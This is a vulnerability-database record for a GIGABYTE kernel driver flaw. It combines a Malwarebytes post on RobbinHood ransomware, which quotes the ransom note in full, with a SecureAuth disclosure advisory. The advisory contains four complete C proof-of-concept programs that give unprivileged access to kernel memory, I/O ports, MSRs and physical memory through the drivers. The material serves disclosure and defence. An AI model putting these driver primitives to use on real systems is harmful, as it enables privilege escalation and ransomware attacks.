ID CVE-2018-19320 Type cve Reporter cve@mitre.org Modified 2020-08-24T17:37:00
Description
The GDrv low-level driver in GIGABYTE APP Center v1.05.21 and earlier, AORUS GRAPHICS ENGINE before 1.57, XTREME GAMING ENGINE before 1.26, and OC GURU II v2.08 exposes ring0 memcpy-like functionality that could allow a local attacker to take complete control of the affected system.
{"malwarebytes": [{"lastseen": "2020-02-20T21:32:31", "description": "Despite their name, the RobbinHood cybercriminal gang is not stealing from the rich to give to the poor. Instead, these ransomware developers are more like big game hunters\u2014attacking enterprise organizations and critical infrastructure and keeping all the spoils for themselves. \n\nIn 2019, the RobbinHood ransomware creators successfully attacked and received ransom payouts from the [cities of Baltimore, Maryland, and Greenville, North Carolina](<https://blog.malwarebytes.com/ransomware/2019/08/ransomware-continues-assault-against-cities-and-businesses/>). Not ones for humility, they now mention those successes in revised ransom notes, pointing out to victims that it\u2019s useless to try recovering their files in any other way than paying the ransom. \n\nAnd the ransom isn't exactly cheap. RobbinHood ransom demands can range from 3 Bitcoins for a single computer up to 13 Bitcoins for a complete network, which translates to tens of thousands of dollars.\n\n _\u201cIt\u2019s impossible to recover your files without private key and our unlocking software. You can google: Baltimore City, Greenville city and RobbinHood ransomware.\u201d_\n\n### How RobbinHood ransomware works\n\nLike many other ransomware families, RobbinHood, which Malwarebytes detects as [Ransom.RobbinHood](<https://blog.malwarebytes.com/detections/ransom-robbinhood/>), has been observed gaining access to organizations\u2019 networks through brute force of Remote Desktop Protocols (RDP) or by using other Trojans that provide access to the attackers. \n\nOnce the attacker has gained sufficient access to the system, [researchers found](<https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/>) that in some cases they introduce a vulnerable kernel driver from Gigabyte. This driver is signed by the motherboard manufacturer and will be accepted by Windows because of the digital signature. But the driver has a long-standing vulnerability listed as [CVE-2018-19320](<https://www.cvedetails.com/cve/CVE-2018-19320/>), which allows a local attacker to take complete control of the affected system.\n\nThe attacker uses this vulnerability to stop 181 specific services, disabling many protective programs, backup software, and deleting files that would normally be locked. System services often keep critical files in use, so they can\u2019t be deleted or modified. Being able to stop these services from the kernel driver level makes taking full control of a system much easier.\n\nBefore the actual encryption begins, RobbinHood also disconnects all network shares, deletes all shadow copies, clears event logs, and disables Windows automatic repair.\n\nFor the encryption process itself, it fetches a public key from the file **pub.key **in the Windows temp folder. While encrypting files, an AES key is created for each separate file. The ransomware will then encrypt the AES key and the original filename with the public RSA encryption key and append it to the encrypted file. Each encrypted file will then be renamed using the format:\n\n**Encrypted_[randomstring].enc_robbinhood**\n\nDuring encryption, these folders are skipped:\n\n * ProgramData\n * Windows\n * bootmgr\n * Boot\n * $WINDOWS.~BT\n * Windows.old\n * Temp\n * tmp\n * Program Files\n * Program Files (x86)\n * AppData\n * $Recycle.bin\n * System Volume Information\n\nFour different ransom notes are dropped in every folder that contains encrypted files. Most of the notes contain information similar to the one below: \n\nWhat happened to your files? \nAll your files are encrypted with RSA-4096, Read more on https://en.wikipedia.org/wiki/RSA_(cryptosystem) \nRSA is an algorithm used by modern computers to encrypt and decrypt the data. RSA is an asymmetric cryptographic algorithm. Asymmetric means that there are two different keys. This is also called public key cryptography, because one of the keys can be given to anyone: \n1 -We encrypted your files with our \"Public key\" \n2 -You can decrypt, the encrypted files with specific \"Private key\" and your private key is in our hands ( It's not possible to recover your files without our private key ) \nIs it possible to get back your data? \nYes, We have a decrypter with all your private keys. We have two options to get all your data back. \nFollow the instructions to get all your data back: \nOPTION 1 \nStep 1: You must send us 3 Bitcoin(s) for each affected system \nStep 2: Inform us in panel with hostname(s) of the system you want, wait for confirmation and get your \nOPTION 2 \nStep 1: You must send us 13 Bitcoin(s) for all affected system \nStep 2: Inform us in panel, wait for confirmation and get all your decrypters \nOur Bitcoin address is: xxx BE CAREFUL, THE COST OF YOUR PAYMENT INCREASES $10,000 EACH DAY AFTER THE FOURTH DAY \nAccess to the panel ( Contact us )The panel address: hxxp://xbt4titax4pzza6w[.]onion/ Alternative addresses \nhxxps://xbt4titax4pzza6w.onion[.]pet/ \nhxxps://xbt4titax4pzza6w.onion[.]to/ \nAccess to the panel using Tor Browser \nIf non of our links are accessible you can try tor browser to get in touch with us: \nStep 1: Download Tor Browser from here: https://www.torproject.org/download/download.html.en \nStep 2: Run Tor Browser and wait to connect \nStep 3: Visit our website at: panel address \nIf you're having a problem with using Tor Browser, Ask Google: how to use tor browser \nWants to make sure we have your decrypter? \nTo make sure we have your decrypter you can upload at most 3 files (maximum size allowance is 10 MB in total) and get your data back as a demo. \nWhere to buy Bitcoin? \nThe easiest way is LocalBitcoins, but you can find more websites to buy bitcoin using Google Search: buy bitcoin online\n\n### Decrypting may not be enough\n\nAs a warning to those who might consider paying the ransom, as Baltimore and Greenville did: Simply decrypting the files may not be enough to bring systems back online. The introduction of the vulnerable kernel driver and changing the behavior of the kernel may cause other problems on affected systems, which may result in deprecated performance or [BSODs](<https://blog.malwarebytes.com/glossary/blue-screen-death-bsod/>). \n\nReportedly, the recovery from the ransomware attack cost the city of Baltimore over US$10 million, which dwarfs the paid ransom of 13 Bitcoin (roughly US$80,000).\n\n### How to prevent RobbinHood ransomware\n\nAs with all ransomware families, the best method of protection is [preventing the infection](<https://blog.malwarebytes.com/101/2016/04/how-to-protect-your-business-from-ransomware/>) from happening in the first place. Since RobbinHood targets organizations, IT and security teams should take the following common precautions to secure against its attack:\n\n * Secure your [Remote Desktop Protocol (RDP)](<https://blog.malwarebytes.com/glossary/remote-desktop-protocol-rdp/>) access\n * Disable or block unused ports in general\n * Apply the latest Microsoft updates \n * Keep your [anti-malware software](<http://www.malwarebytes.com/business>) up to date\n\n* * *\n\nRecommended reading: [How to protect your RDP access from ransomware attacks](<https://blog.malwarebytes.com/security-world/business-security-world/2018/08/protect-rdp-access-ransomware-attacks/>)\n\n* * *\n\n### How Malwarebytes protects against ransomware\n\nMalwarebytes can protect systems against RobbinHood ransomware in several ways.\n\nThe Malwarebytes Anti-Malware technology detects malicious files, browser modifications, and system modifications on Windows PCs using a combination of signature-based and signatureless technologies. This layer of protection detects the RobbinHood binary itself. Detections can happen in real time as the binary is run or the infection can be rooted out from an already-compromised machine by conducting a full system scan.\n\n\n\nAnti-Ransomware is a signatureless technology in charge of monitoring system activity of processes against a certain subset of data in specific locations on the endpoint. Using patented technology, Anti-Ransomware assesses changes in those data files. If an internal scoring threshold is crossed by a monitored process, it triggers a detection from the Anti-Ransomware component.\n\nMalwarebytes Anti-Ransomware recognizes and stops ransomware behavior.\n\nFor those already infected, Ransomware Rollback can help recover encrypted files within 72 hours of the attack. Rollback creates a local cache on the endpoint to store changes to files on the system. It can use this cache to help revert changes caused by a threat. The Rollback feature is dependent on activity monitoring available in [Malwarebytes Endpoint Detection and Response](<https://www.malwarebytes.com/business/endpointdetectionresponse/>).\n\n### IOCs\n\n**Files (SHA256 hashes):**\n\n * 791c32a95f401f7464214960e49e716656f6fd6fff135ac2a6ba607236d3346e\n * 99c3cc348f8ee4e87bce45b1dd185d31830c370ac43fd3e39ac50340f029ef79\n * e9188ace227b00cbf1f6fba3ceb32af8e4d456c3a0815300a224a9d9e00778a8\n * 47d892da6a49b02a2904bdc0d03ecef66c076481d19ab19251d86d11be494765\n\n**Ransom notes:**\n\n * _Decrypt_Files.html\n * _Decryption_ReadMe.html\n * _Help_Help_Help.html\n * _Help_Important.html\n\n**Extension of encrypted files:**\n\n.enc_robbinhood\n\nStay safe everyone!\n\nThe post [Threat spotlight: RobbinHood ransomware takes the driver\u2019s seat](<https://blog.malwarebytes.com/threat-spotlight/2020/02/threat-spotlight-robbinhood-ransomware-takes-the-drivers-seat/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2020-02-20T18:09:03", "type": "malwarebytes", "title": "Threat spotlight: RobbinHood ransomware takes the driver\u2019s seat", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-19320"], "modified": "2020-02-20T18:09:03", "id": "MALWAREBYTES:15372C7C7C6D5197C86D1DC94BC765B2", "href": "https://blog.malwarebytes.com/threat-spotlight/2020/02/threat-spotlight-robbinhood-ransomware-takes-the-drivers-seat/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2018-12-25T18:50:55", "description": "", "published": "2018-12-21T00:00:00", "type": "packetstorm", "title": "GIGABYTE Driver Privilege Escalation", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-19321", "CVE-2018-19323", "CVE-2018-19320", "CVE-2018-19322"], "modified": "2018-12-21T00:00:00", "id": "PACKETSTORM:150894", "href": "https://packetstormsecurity.com/files/150894/GIGABYTE-Driver-Privilege-Escalation.html", "sourceData": "`SecureAuth - SecureAuth Labs Advisory \nhttp://www.secureauth.com/ \n \nGIGABYTE Drivers Elevation of Privilege Vulnerabilities \n \n*1. *Advisory Information** \n \nTitle: GIGABYTE Drivers Elevation of Privilege Vulnerabilities \nAdvisory ID: CORE-2018-0007 \nAdvisory URL: \nhttp://www.secureauth.com/labs/advisories/gigabyte-drivers-elevation-privilege-vulnerabilities \nDate published: 2018-12-18 \nDate of last update: 2018-12-18 \nVendors contacted: Gigabyte \nRelease mode: User release \n \n*2. *Vulnerability Information** \n \nClass: Exposed IOCTL with Insufficient Access Control [CWE-782], Exposed \nIOCTL with Insufficient Access Control [CWE-782], Exposed IOCTL with \nInsufficient Access Control [CWE-782], Exposed IOCTL with Insufficient \nAccess Control [CWE-782] \nImpact: Code execution \nRemotely Exploitable: No \nLocally Exploitable: Yes \nCVE Name: CVE-2018-19320, CVE-2018-19322, CVE-2018-19323, CVE-2018-19321 \n \n*3. *Vulnerability Description** \n \nGIGABYTE's website states that[1]: \n \nFounded in 1986, GIGABYTE is committed to providing top-notch solutions \nthat \"upgraded your life\". We are regarded as a pioneer in innovation \nwith groundbreaking excitements such as Ultra Durable, WINDFORCE, and \nBRIX series. We have also invented a premium gaming brand AORUS, a full \nspectrum of gaming products for gamers and enthusiast. GIGABYTE has \ncontinuously brought unique new ways of digital world and created \nmarvelous products that empower you with meaningful and charming \nexperiences. \n \nMultiple vulnerabilities were found in the GPCIDrv and GDrv drivers as \nbundled with several GIGABYTE and AORUS branded motherboard and graphics \ncard utilities, which could allow a local attacker to elevate privileges. \n* \n**4. *Vulnerable Packages** \n \n. GIGABYTE APP Center v1.05.21 and previous \n. AORUS GRAPHICS ENGINE v1.33 and previous \n. XTREME GAMING ENGINE v1.25 and previous \n. OC GURU II v2.08 \n \nOther products and versions might be affected, but they were not tested. \n \n*5. *Vendor Information, Solutions and Workarounds** \n \nThe vendor did not provide fixes or workaround information. \n \n*6. *Credits** \n \nThese vulnerabilities were discovered and researched by Diego Juarez. \nThe publication of this advisory was coordinated by Leandro Cuozzo from \nSecureAuth Advisories Team. \n \n*7. *Technical Description / Proof of Concept Code** \n \nGYGABYTE App Center, RGBFusion, Xtreme Engine, AORUS Graphics Engine, \netc. use low level drivers to program and query the status on several \nembedded ICs on their hardware. Fan curves, clock frequencies, LED \ncolors, thermal performance, and other user customizable properties and \nmonitoring functionality are exposed to applications through these low \nlevel kernel drivers. \n \nThe main subject of this advisory are two of the device drivers \ninstalled/loaded by affected GIGABYTE utilities (GPCIDrv and GDrv). From \nnow on addressed as \"GPCI\" and \"GIO\". Default installation allows \nnon-privileged user processes (even running at LOW INTEGRITY) to get a \nHANDLE and issue IOCTL codes to these drivers. \n \nThe following sections describe the problems found. \n \n*7.1. *Arbitrary ring0 VM read/write** \n \n[CVE-2018-19320] \nThere is ring0 memcpy-like functionality built into GIO's IOCTL \n0xC3502808, allowing a local attacker to take complete control of the \naffected system. \n \nProof of Concept: \n \n/----- \n// GIGABYTE PoC demonstrating non-pivileged R/W access to abritrary \nvirtual memory \n \n#include <windows.h> \n#include <stdio.h> \n \n#define IOCTL_GIO_MEMCPY 0xC3502808 \n \nHANDLE ghDriver = 0; \n \n#pragma pack (push,1) \n \ntypedef struct _GIO_MemCpyStruct { \nULONG64 dest; \nULONG64 src; \nDWORD size; \n} GIO_MemCpyStruct; \n \n#pragma pack(pop) \n \nBOOL GIO_memcpy(ULONG64 dest, ULONG64 src, DWORD size) \n{ \nGIO_MemCpyStruct mystructIn = { dest, src, size}; \nBYTE outbuffer[0x30] = { 0 }; \nDWORD returned = 0; \n \nDeviceIoControl(ghDriver, IOCTL_GIO_MEMCPY, (LPVOID)&mystructIn, \nsizeof(mystructIn), (LPVOID)outbuffer, sizeof(outbuffer), & returned, NULL); \nif (returned) { \nreturn TRUE; \n} \nreturn FALSE; \n} \n \nBOOL InitDriver() \n{ \nchar szDeviceNames[] = \"\\\\\\\\.\\\\GIO\"; \nghDriver = CreateFile(szDeviceNames, GENERIC_READ | GENERIC_WRITE, \nFILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, \nFILE_ATTRIBUTE_NORMAL, NULL); \n \nif (ghDriver == INVALID_HANDLE_VALUE) { \nprintf(\"Cannot get handle to driver \\'%s\\' - GetLastError:%d\\n\", \nszDeviceNames, GetLastError()); \nreturn FALSE; \n} \nreturn TRUE; \n} \n \nint main(int argc, char* argv[]) \n{ \nif (!InitDriver()) { \nexit(0); \n} \nprintf(\"GIGABYTE PoC (arbitrary ring0 write) - pnx!/CORE\\n\"); \nprintf(\"press ENTER for instant BSOD\\n\"); \ngetchar(); \nULONG64 data = 0xFFFF1111FFFF2222; \nGIO_memcpy(0, (ULONG64)&data, 8); \nCloseHandle(ghDriver); \n \nreturn 0; \n} \n-----/ \n \n*7.2. *Port mapped I/O access** \n \n[CVE-2018-19322] \nBoth GPCI and GIO expose functionality to read/write data from/to IO \nports. This could be leveraged in a number of ways to ultimately run \ncode with elevated privileges. \n \n \nProof of Concept: \n \n/----- \n// GIGABYTE PoC demonstrating non-privileged access to IO ports \n \n// This harmless PoC only reboots the PC, much more sinister stuff \n// would also be possible by abusing this functionality. \n \n#include <windows.h> \n#include <stdio.h> \n \n// for \\\\.\\GPCIDrv64 \n#define IOCTL_GPCIDRV_PORTREADB 0x9C402588 \n#define IOCTL_GPCIDRV_PORTWRITEB 0x9C40258C \n \n// for \\\\.\\GIO \n#define IOCTL_GIO_PORTREADB 0x0C3506404 \n#define IOCTL_GIO_PORTWRITEB 0x0C350A440 \n \nHANDLE ghDriver = 0; \n \ntypedef BYTE(*fnPMIOReadB)(WORD port); \ntypedef BYTE(*fnPMIOWriteB)(WORD port, BYTE value); \n \n#pragma pack (push,1) \n \ntypedef struct { \nDWORD DriverIndex; // DriverEnum index \nBYTE DeviceName[MAX_PATH]; \nfnPMIOReadB pPMIOReadB; \nfnPMIOWriteB pPMIOWriteB; \n} AutoConfigStruct; \n \nAutoConfigStruct gConfig = { 0 }; \n \nenum DriverEnum { \nGPCIDrv64 = 1, \nGIO, \n}; \n \ntypedef struct _GPCIDRV_PORTIO_STRUCT { \nDWORD port; \nULONG64 value; \n} GPCIDRV_PORTIO_STRUCT; \n \n#pragma pack(pop) \n \n#define IOCTLMACRO(iocontrolcode, size) \\ \nBYTE outbuffer[0x30] = { 0 }; \\ \nDWORD returned = 0; \\ \nDeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer, \n##size##, (LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL); \\ \nreturn outbuffer[0]; \\ \n \nBYTE GPCIDrv_PMIOReadB(WORD port) \n{ \nGPCIDRV_PORTIO_STRUCT inbuffer = { port, 0}; \nIOCTLMACRO(IOCTL_GPCIDRV_PORTREADB, 10) \n} \n \nBYTE GPCIDrv_PMIOWriteB(WORD port, BYTE value) \n{ \nGPCIDRV_PORTIO_STRUCT inbuffer = { port, value}; \nIOCTLMACRO(IOCTL_GPCIDRV_PORTWRITEB, 10) \n} \n \nBYTE GIO_PMIOReadB(WORD port) \n{ \nGPCIDRV_PORTIO_STRUCT inbuffer = { port, 0 }; \nIOCTLMACRO(IOCTL_GIO_PORTREADB, 4) \n} \n \nBYTE GIO_PMIOWriteB(WORD port, BYTE value) \n{ \nGPCIDRV_PORTIO_STRUCT inbuffer = { port, value }; \nIOCTLMACRO(IOCTL_GIO_PORTWRITEB, 5) \n} \n \nvoid Reboot() \n{ \nBYTE cf9 = gConfig.pPMIOReadB(0xcf9) & ~0x6; \ngConfig.pPMIOWriteB(0xcf9, cf9 | 2); \nSleep(50); \ngConfig.pPMIOWriteB(0xcf9, cf9 | 0xe); \nSleep(50); \n} \n \nBOOL InitDriver() \n{ \nchar *szDeviceNames[] = { \"\\\\\\\\.\\\\GPCIDrv64\" , \"\\\\\\\\.\\\\GIO\" }; \nBYTE i = 0; \nfor (i = 0; i < 2; i++) { \nghDriver = CreateFile(szDeviceNames[i], GENERIC_READ | \nGENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, \nFILE_ATTRIBUTE_NORMAL, NULL); \n \nif (ghDriver == INVALID_HANDLE_VALUE) { \nprintf(\"Cannot get handle to driver object \\'%s\\'- \nGetLastError:%d\\n\", szDeviceNames[i], GetLastError()); \ncontinue; \n} \n \ngConfig.DriverIndex = i+1; \nmemcpy(gConfig.DeviceName, szDeviceNames[i], MAX_PATH-1); \nbreak; \n} \n \nswitch (gConfig.DriverIndex) { \ncase DriverEnum::GPCIDrv64: \n{ \ngConfig.pPMIOReadB = (fnPMIOReadB)GPCIDrv_PMIOReadB; \ngConfig.pPMIOWriteB = (fnPMIOWriteB)GPCIDrv_PMIOWriteB; \n} \nbreak; \n \ncase DriverEnum::GIO: \n{ \ngConfig.pPMIOReadB = (fnPMIOReadB)GIO_PMIOReadB; \ngConfig.pPMIOWriteB = (fnPMIOWriteB)GIO_PMIOWriteB; \n} \nbreak; \n \ndefault: \nbreak; \n} \n \n \nreturn gConfig.DriverIndex ? TRUE : FALSE; \n} \n \nint main(int argc, char* argv[]) \n{ \nprintf(\"GIGABYTE PoC (PMIO access) - pnx!/CORE\\n\"); \n \nif (!InitDriver()) { \nprintf(\"InitDriver failed! - aborting...\\n\"); \nexit(0); \n} \n \nprintf(\"DeviceName: \\'%s\\' Handle: %08x\\n\", gConfig.DeviceName, \n(DWORD)ghDriver); \n \nReboot(); \nreturn CloseHandle(ghDriver); \n} \n-----/ \n \n*7.3. *MSR Register access** \n \n[CVE-2018-19323] \nGIO exposes functionality to read and write Machine Specific Registers \n(MSRs). This could be leveraged to execute arbitrary ring-0 code. \n \nProof of Concept: \n \n/----- \n// GIGABYTE GIO driver PoC demonstrating non-privileged access to MSR \nregisters \n \n// This PoC demonstrates non privileged MSR access by reading \n// IA32_LSTAR value (leaks a kernel function pointer bypassing KASLR) \n// and then writing garbage to it (instant BSOD!) \n \n#include <windows.h> \n#include <stdio.h> \n \n#define IOCTL_GIO_MSRACCESS 0x0C3502580 \n \nHANDLE ghDriver = 0; \n \n#pragma pack (push,1) \n \ntypedef struct _GIO_MSRIO_STRUCT { \nDWORD rw; // 0 read - 1 write \nDWORD reg; // \nULONG64 value; // \n} GIO_MSRIO_STRUCT; \n \n#pragma pack(pop) \n \n#define IOCTLMACRO(iocontrolcode, size) \\ \nDWORD returned = 0; \\ \nDeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer, \n##size##, (LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL); \\ \nreturn outbuffer[1]; \\ \n \nULONG64 GIO_RDMSR(DWORD reg) \n{ \nASIO_MSRIO_STRUCT inbuffer = { 1, reg }; \nULONG64 outbuffer[2] = { 0 }; \nIOCTLMACRO(IOCTL_GIO_MSRACCESS, 16) \n} \n \nULONG64 GIO_WRMSR(DWORD reg, ULONG64 value) \n{ \nASIO_MSRIO_STRUCT inbuffer = { 0, reg, value }; \nULONG64 outbuffer[2] = { 0 }; \nIOCTLMACRO(IOCTL_GIO_MSRACCESS, 16) \n} \n \nBOOL InitDriver() \n{ \nchar szDeviceName[] = \"\\\\\\\\.\\\\GIO\"; \nghDriver = CreateFile(szDeviceName, GENERIC_READ | GENERIC_WRITE, \nFILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, \nFILE_ATTRIBUTE_NORMAL, NULL); \n \nif (ghDriver == INVALID_HANDLE_VALUE) { \nprintf(\"Cannot get handle to driver object \\'%s\\'- \nGetLastError:%d\\n\", szDeviceName, GetLastError()); \nreturn FALSE; \n} \nreturn TRUE; \n} \n \nint main(int argc, char* argv[]) \n{ \nprintf(\"GIGABYTE PoC (MSR access) - pnx!/CORE\\n\"); \n \nif (!InitDriver()) { \nprintf(\"InitDriver failed! - aborting...\\n\"); \nexit(0); \n} \n \nULONG64 a = GIO_RDMSR(0xC0000082); \nprintf(\"IA322_LSTAR: %llx (nt!KiSystemCall64)\\n\", a); \nprintf(\"press ENTER for instant BSOD\\n\"); \ngetchar(); \na = GIO_WRMSR(0xC0000082, 0xffff1111ffff2222); \nreturn CloseHandle(ghDriver); \n} \n-----/ \n \n*7.4. *Arbitrary physical memory read/write** \n \n[CVE-2018-19321] \nBoth GPCI and GIO expose functionality to read/write arbitrary physical \nmemory, allowing a local attacker to take complete control of the \naffected system. \n \nProof of Concept: \n \n/----- \n// GIGABYTE PoC (arbitrary physical memory read/write) \n \n#include <windows.h> \n#include <stdio.h> \n \n#define IOCTL_GIO_MAPPHYSICAL 0xC3502004 \n#define IOCTL_GIO_UNMAPPHYSICAL 0xC3502008 \n \n#define IOCTL_GPCI_MAPPHYSICAL 0x9C402580 \n#define IOCTL_GPCI_UNMAPPHYSICAL 0x9C402584 \n \nHANDLE ghDriver = 0; \n \ntypedef ULONG64(*fnMapPhysical)(ULONG64 physicaladdress); \ntypedef ULONG64(*fnUnMapPhysical)(ULONG64 address); \n \n#pragma pack (push,1) \n \ntypedef struct _GIO_PHMAP { \nDWORD InterfaceType; \nDWORD Bus; \nULONG64 PhysicalAddress; \nDWORD IOSpace; \nDWORD size; \n} GIO_PHMAP; \n \ntypedef struct _GPCI_PHMAP { \nDWORD PhysicalAddress; \nDWORD size; \n} GPCI_PHMAP; \n \ntypedef struct { \nDWORD DriverIndex; // DriverEnum index \nBYTE DeviceName[MAX_PATH]; \nfnMapPhysical pMapPhysical; \nfnUnMapPhysical pUnMapPhysical; \n} AutoConfigStruct; \n \nAutoConfigStruct gConfig = { 0 }; \n \nenum DriverEnum { \nGPCIDrv64 = 1, \nGIO, \n}; \n \n#pragma pack(pop) \n \n#define IOCTLMACRO(iocontrolcode) \\ \nULONG64 outbuffer[2] = { 0 }; \\ \nDWORD returned = 0; \\ \nDeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer, \nsizeof(inbuffer), (LPVOID)outbuffer, sizeof(outbuffer), &returned, \nNULL); \\ \nreturn outbuffer[0]; \\ \n \nULONG64 GIO_mapPhysical(ULONG64 physicaladdress) \n{ \nGIO_PHMAP inbuffer = { 0, 0, physicaladdress, 0, 0x1000}; \nIOCTLMACRO(IOCTL_GIO_MAPPHYSICAL) \n} \n \nULONG64 GIO_unmapPhysical(ULONG64 address) \n{ \nULONG64 inbuffer = address; \nIOCTLMACRO(IOCTL_GIO_UNMAPPHYSICAL) \n} \n \nULONG64 GPCI_mapPhysical(DWORD physicaladdress) \n{ \nGPCI_PHMAP inbuffer = { physicaladdress, 0x1000}; \nIOCTLMACRO(IOCTL_GPCI_MAPPHYSICAL) \n} \n \nULONG64 GPCI_unmapPhysical(ULONG64 address) \n{ \nULONG64 inbuffer = address; \nIOCTLMACRO(IOCTL_GPCI_UNMAPPHYSICAL) \n} \n \nBOOL InitDriver() \n{ \nchar *szDeviceNames[] = { \"\\\\\\\\.\\\\GPCIDrv64\" , \"\\\\\\\\.\\\\GIO\" }; \nBYTE i = 0; \nfor (i = 0; i < 2; i++) { \nghDriver = CreateFile(szDeviceNames[i], GENERIC_READ | \nGENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, \nFILE_ATTRIBUTE_NORMAL, NULL); \n \nif (ghDriver == INVALID_HANDLE_VALUE) { \nprintf(\"Cannot get handle to driver object \\'%s\\'- \nGetLastError:%d\\n\", szDeviceNames[i], GetLastError()); \ncontinue; \n} \n \ngConfig.DriverIndex = i + 1; \nmemcpy(gConfig.DeviceName, szDeviceNames[i], MAX_PATH - 1); \nbreak; \n} \n \nswitch (gConfig.DriverIndex) { \ncase DriverEnum::GPCIDrv64: \n{ \ngConfig.pMapPhysical = (fnMapPhysical)GPCI_mapPhysical; \ngConfig.pUnMapPhysical = (fnUnMapPhysical)GPCI_unmapPhysical; \n} \nbreak; \n \ncase DriverEnum::GIO: \n{ \ngConfig.pMapPhysical = (fnMapPhysical)GIO_mapPhysical; \ngConfig.pUnMapPhysical = (fnUnMapPhysical)GIO_unmapPhysical; \n} \nbreak; \n \ndefault: \nbreak; \n} \n \nreturn gConfig.DriverIndex ? TRUE : FALSE; \n} \n \nint main(int argc, char * argv[]) \n{ \nif (!InitDriver()) { \nexit(0); \n} \n \nprintf(\"GIGABYTE PoC (arbitrary physical memory read/write) - \npnx!/CORE\\n\"); \nprintf(\"press ENTER for System CRASH\\n\"); \ngetchar(); \nprintf(\"Bruteforcing\"); \nfor (unsigned int i = 0; i < 0xffffffff; i+=0x1000) { \nprintf(\".\"); \nULONG64 mappedVA = gConfig.pMapPhysical(i); \n*(ULONG64 *)mappedVA = 0xCCCCCCCCCCCCCCCC; \ngConfig.pUnMapPhysical(mappedVA); \n} \nCloseHandle(ghDriver); \nreturn 0; \n} \n-----/ \n \n*8. *Report Timeline** \n \n2018-04-24: SecureAuth sent an initial notification to services@gigabyte \nand services@gigabyteusa and requested for a security contact in order \nto send a draft advisory. \n2018-04-26: SecureAuth sent the initial notification to sales@gigabyteusa \nmarketing@gigabyteusa and requested for a security contact in order to \nsend a draft advisory. \n2018-04-30:Gigabyte Technical support team answered saying the \nnotification was too general and requested SecureAuth to open a ticket \nin the Support portal. \n2018-05-02: SecureAuth replied that it's our policy to keep all the \ncommunication process via email in order to track all interactions. \nFor that reason, SecureAuth notified Gigabyte again that a draft \nadvisory, including a technical description, had been written and \nrequested for a security contact to send it. \n2018-05-04: Gigabyte Technical support team replied saying that Gigabyte \nis a hardware company and they are not specialized in software, and \nrequested for technical information. \n2018-05-04: In the absence of a security contact, SecureAuth sent to \nGigabyte Technical support team the draft advisory including a technical \ndescription and POCs. \n2018-05-15: SecureAuth requested a status update. \n2018-05-16: Gigabyte Technical support team answered that Gigabyte is a \nhardware company and they are not specialized in software. \nThey requested for technical details and tutorials to verify the \nvulnerabilities. \n2018-05-16: SecureAuth requested for a formal acknowledgment of the \ndraft advisory sent. \n2018-05-16: Gigabyte replied saying that the draft advisory was general \nand asked for a personal contact. \n2018-05-17: SecureAuth notified Gigabyte again that is our policy to \nkeep all the communication process via email. \n2018-05-31: SecureAuth requested a status update. \n2018-05-16: Gigabyte replied saying that the draft advisory was general \nand asked for a phone contact again. \n2018-05-31: SecureAuth requested for a formal acknowledgment of the \ndraft advisory sent multiple times, in order to engage into a \ncoordinated vulnerability disclosure process. \n2018-07-03: SecureAuth requested a status update. \n2018-07-12: Gigabyte responded that, according to its PM and engineers, \nits products are not affected by the reported vulnerabilities. \n2018-12-18: Advisory CORE-2018-0007 published as 'user release'. \n \n*9. *References** \n \n[1] https://www.gigabyte.com/About \n \n*10. *About SecureAuth Labs** \n \nSecureAuth Labs, the research arm of SecureAuth Corporation, is charged \nwith anticipating the future needs and requirements for information \nsecurity technologies. We conduct research in several important areas of \ncomputer security, including identity-related attacks, system \nvulnerabilities and cyber-attack planning. Research includes problem \nformalization, identification of vulnerabilities, novel solutions and \nprototypes for new technologies. We regularly publish security \nadvisories, primary research, technical publications, research blogs, \nproject information, and shared software tools for public use at \nhttp://www.secureauth.com. \n \n*11. *About SecureAuth** \n \nSecureAuth is leveraged by leading companies, their employees, their \ncustomers and their partners to eliminate identity-related breaches. \nAs a leader in access management, identity governance, and penetration \ntesting, SecureAuth is powering an identity security revolution by \nenabling people and devices to intelligently and adaptively access \nsystems and data, while effectively keeping bad actors from doing harm. \nBy ensuring the continuous assessment of risk and enablement of trust, \nSecureAuth's highly flexible Identity Security Automation (ISA) platform \nmakes it easier for organizations to prevent the misuse of credentials \nand exponentially reduce the enterprise threat surface. To learn more, \nvisit www.secureauth.com, call (949) 777-6959, or email us at \ninfo@secureauth.com \n \n*12. *Disclaimer** \n \nThe contents of this advisory are copyright (c) 2018 SecureAuth, and are \nlicensed under a Creative Commons Attribution Non-Commercial Share-Alike \n3.0 (United States) License: \nhttp://creativecommons.org/licenses/by-nc-sa/3.0/us/ \n \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": 